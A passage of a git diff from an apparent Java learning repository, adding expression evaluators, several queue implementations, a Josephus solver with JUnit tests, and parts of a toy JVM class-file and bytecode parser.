+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PrefixExpr.java b/group24/448641125/src/com/donaldy/basic/expr/PrefixExpr.java
new file mode 100644
index 0000000000..aaee04d871
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/PrefixExpr.java
@@ -0,0 +1,69 @@
+package com.donaldy.basic.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ *	从右到左遍历
+ *  1. 若为数字，则入栈
+ *  2. 若为符号，则calculate
+ */
+public class PrefixExpr {
+
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+
+
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+
+		Stack<Float> numStack = new Stack<>();
+		Stack<String> opStack = new Stack<>();
+
+		for(int i = tokens.size() - 1; i >= 0  ; --i){
+			Token token = tokens.get(i);
+
+			if (token.isOperator()){
+				opStack.push(token.toString());
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(opStack.pop(), f1,f2));
+			}
+
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+
+		while (!opStack.isEmpty()) {
+			Float f1 = numStack.pop();
+			Float f2 = numStack.pop();
+			numStack.push(calculate(opStack.pop(), f1,f2));
+		}
+
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PrefixExprTest.java b/group24/448641125/src/com/donaldy/basic/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..435a82d8b1
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.donaldy.basic.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3 * 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("- + + 6 / * 2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/Token.java b/group24/448641125/src/com/donaldy/basic/expr/Token.java
new file mode 100644
index 0000000000..db639bcbcf
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/Token.java
@@ -0,0 +1,50 @@
+package com.donaldy.basic.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group24/448641125/src/com/donaldy/basic/expr/TokenParser.java b/group24/448641125/src/com/donaldy/basic/expr/TokenParser.java
new file mode 100644
index 0000000000..38d5225c4f
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.donaldy.basic.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/TokenParserTest.java b/group24/448641125/src/com/donaldy/basic/expr/TokenParserTest.java
new file mode 100644
index 0000000000..03d3146213
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.donaldy.basic.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/CircleQueue.java b/group24/448641125/src/com/donaldy/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..fbe5cdc6c8
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/CircleQueue.java
@@ -0,0 +1,74 @@
+package com.donaldy.basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+    //元素个数
+    private int size = 0;
+	
+	public boolean isEmpty() {
+
+		return this.size == 0;
+        
+    }
+
+    public int size() {
+        return this.size;
+    }
+
+    
+
+    public void enQueue(E data) {
+
+        if (this.size == DEFAULT_SIZE) {
+            throw new IndexOutOfBoundsException("size() : " + this.size());
+        }
+
+        this.elementData[this.rear] = data;
+
+        this.rear = (this.rear + 1) % DEFAULT_SIZE;
+
+        this.size ++;
+
+    }
+
+    public E deQueue() {
+
+	    if (this.isEmpty()) {
+            throw new IndexOutOfBoundsException("size() : " + this.size());
+        }
+
+        E oldElement = (E) this.elementData[this.front];
+
+        this.elementData[this.front] = null;
+
+        this.front = (this.front + 1) % DEFAULT_SIZE;
+
+        this.size --;
+
+        return oldElement;
+    }
+
+    public E getElement(int index) {
+
+	    if (index < 0 || index >= DEFAULT_SIZE) {
+	        throw new IndexOutOfBoundsException("index : " + index);
+        }
+
+        return (E)this.elementData[index];
+    }
+}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/CircleQueueTest.java b/group24/448641125/src/com/donaldy/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..f6516c7743
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/CircleQueueTest.java
@@ -0,0 +1,35 @@
+package com.donaldy.basic.queue;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+/**
+ * Created by DonaldY on 2017/4/24.
+ */
+public class CircleQueueTest {
+
+    @Test
+    public void test() {
+        CircleQueue<Integer> cirQueue = new CircleQueue<>();
+
+        for (int i = 1; i <= 10; ++i) {
+            cirQueue.enQueue(i);
+        }
+
+        Assert.assertEquals(10, cirQueue.size());
+
+        for (int i = 0; i < 10; ++i) {
+            Assert.assertEquals(i + 1, (int)cirQueue.getElement(i));
+        }
+
+
+        for (int i = 0; i <= 5; ++i) {
+            Assert.assertEquals(i + 1, (int)cirQueue.deQueue());
+        }
+
+        Assert.assertEquals(4, cirQueue.size());
+
+    }
+}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/Josephus.java b/group24/448641125/src/com/donaldy/basic/queue/Josephus.java
new file mode 100644
index 0000000000..9d3d588148
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/Josephus.java
@@ -0,0 +1,62 @@
+package com.donaldy.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死，
+ * 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+
+		List killList = new ArrayList();
+
+		//用于存储
+		Queue<Integer> queue1 = new Queue<>();
+		//用于操作
+		Queue<Integer> queue2 = new Queue<>();
+
+		for (int i = 0; i < n; ++i) {
+
+			queue1.enQueue(i);
+
+		}
+
+		int cnt = 1;
+
+		while (true) {
+
+			if (queue1.size() < m) {
+				break;
+			}
+
+			if (cnt % m == 0) {
+
+				killList.add(queue1.deQueue());
+
+			} else {
+
+				queue1.enQueue(queue1.deQueue());
+
+			}
+
+			cnt ++;
+
+		}
+
+		while (!queue1.isEmpty()) {
+			killList.add(queue1.deQueue());
+		}
+
+
+		return killList;
+	}
+	
+}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/JosephusTest.java b/group24/448641125/src/com/donaldy/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..dad206e942
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.donaldy.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/Queue.java b/group24/448641125/src/com/donaldy/basic/queue/Queue.java
new file mode 100644
index 0000000000..d504367907
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/Queue.java
@@ -0,0 +1,62 @@
+package com.donaldy.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacks.java b/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..98496b3e77
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,68 @@
+package com.donaldy.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+
+    //用于存储
+	private Stack<E> stack1;
+	//用于操作
+    private Stack<E> stack2;
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+
+    public boolean isEmpty() {
+
+        return this.stack1.isEmpty();
+
+    }
+
+
+    public int size() {
+
+        return this.stack1.size();
+
+    }
+
+
+    public void enQueue(E item) {
+        this.stack1.push(item);
+    }
+
+    public E deQueue() {
+
+        if (this.size() <= 0) {
+            throw new IndexOutOfBoundsException("size : " + this.size());
+        }
+
+        while (!this.stack1.isEmpty()) {
+
+            this.stack2.push(this.stack1.pop());
+
+        }
+
+        E oldElement = this.stack2.pop();
+
+        while (!this.stack2.isEmpty()) {
+
+            this.stack1.push(this.stack2.pop());
+
+        }
+
+        return oldElement;
+
+    }
+
+
+ }
+
diff --git a/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacksTest.java b/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..21dcd53b85
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/queue/QueueWithTwoStacksTest.java
@@ -0,0 +1,23 @@
+package com.donaldy.basic.queue;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by DonaldY on 2017/4/24.
+ */
+public class QueueWithTwoStacksTest {
+
+    @Test
+    public void test() {
+        QueueWithTwoStacks qwStack = new QueueWithTwoStacks();
+
+        for (int i = 1; i <= 5; ++i) {
+            qwStack.enQueue(i);
+        }
+
+        for (int i = 1; i <= 5; ++i) {
+            Assert.assertEquals(i, (int)qwStack.deQueue());
+        }
+    }
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java b/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java
index 6b699e6991..9122f3690a 100644
--- a/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java
+++ b/group24/448641125/src/com/donaldy/jvm/attr/CodeAttr.java
@@ -1,6 +1,8 @@
 package com.donaldy.jvm.attr;
 
 import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.cmd.ByteCodeCommand;
+import com.donaldy.jvm.cmd.CommandParser;
 import com.donaldy.jvm.constant.ConstantPool;
 import com.donaldy.jvm.loader.ByteCodeIterator;
 
@@ -14,21 +16,23 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
-		//this.cmds = cmds;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -36,21 +40,83 @@ public void setLineNumberTable(LineNumberTable t) {
 	}
 
 	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
+		this.localVarTable = t;
 	}
-	
+
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		
-		return null;
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+
+		String code = iter.nextUxToHexString(codeLen);
+
+
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile,code);
+
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen, maxStack,maxLocals,codeLen,code,cmds);
+
+		int exceptionTableLen = iter.nextU2ToInt();
+		//TODO 处理exception
+		if(exceptionTableLen>0){
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+			System.out.println("Encountered exception table , just ignore it :" + exTable);
+
+		}
+
+
+		int subAttrCount = iter.nextU2ToInt();
+
+		for(int x=1; x<=subAttrCount; x++){
+			int subAttrIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+			//已经向前移动了U2, 现在退回去。
+			iter.back(2);
+			//line item table
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			}
+			else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			}
+			else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			}
+			else{
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+
+
+		}
+
+		return codeAttr;
 	}
+
+
+	public String toString(ConstantPool pool) {
+
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+
+	}
+
 	private void setStackMapTable(StackMapTable t) {
 		this.stackMapTable = t;
-		
+
 	}
 
-	
-	
-	
-	
-}
+
+}
\ No newline at end of file
diff --git a/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java b/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java
index c207540570..e3375f7ddd 100644
--- a/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java
+++ b/group24/448641125/src/com/donaldy/jvm/attr/LocalVariableTable.java
@@ -11,11 +11,11 @@
 public class LocalVariableTable extends AttributeInfo{
 
 	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
+
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
+		super(attrNameIndex, attrLen);
 	}
-	
+
 	public static LocalVariableTable parse(ByteCodeIterator iter){
 		int attrNameIndex = iter.nextU2ToInt();
 		int attrLen = iter.nextU4ToInt();
@@ -38,8 +38,19 @@ public static LocalVariableTable parse(ByteCodeIterator iter){
 		return lvTable;
 	}
 	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
+		this.items.add(item);
+	}
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
 	}
-	
-	
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java b/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java
index c36e1940b1..eafc13a4a9 100644
--- a/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java
+++ b/group24/448641125/src/com/donaldy/jvm/clz/ClassFile.java
@@ -80,13 +80,42 @@ public void print(){
 
 	}
 
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+
+	public Method getMethod(String methodName, String paramAndReturnType){
+
+		for (Method m : methods) {
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+
+			if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
+				return m;
+			}
+		}
+
+		return null;
+	}
+	public Method getMainMethod(){
+
+		for (Method m : methods) {
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
+				return m;
+			}
+		}
+		return null;
+	}
 }
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/BiPushCmd.java b/group24/448641125/src/com/donaldy/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..4126097c3f
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,29 @@
+package com.donaldy.jvm.cmd;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+
+	}
+
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/ByteCodeCommand.java b/group24/448641125/src/com/donaldy/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a611d4273b
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,130 @@
+package com.donaldy.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.donaldy.jvm.clz.ClassFile;
+import com.donaldy.jvm.constant.ConstantInfo;
+import com.donaldy.jvm.constant.ConstantPool;
+import com.donaldy.jvm.engine.ExecutionResult;
+import com.donaldy.jvm.engine.StackFrame;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+
+	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group24/448641125/src/com/donaldy/jvm/cmd/CommandParser.java b/group24/448641125/src/com/donaldy/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..b43e0d3a06
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/jvm/cmd/CommandParser.java
@@ -0,0 +1,158 @@
+package com.donaldy.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.donaldy.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		if ((codes == null) || (codes.length() == 0)) {
+			throw new RuntimeException("the orignal code is not correct!");
+		}
+
+		codes = codes.toUpperCase();
+
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+
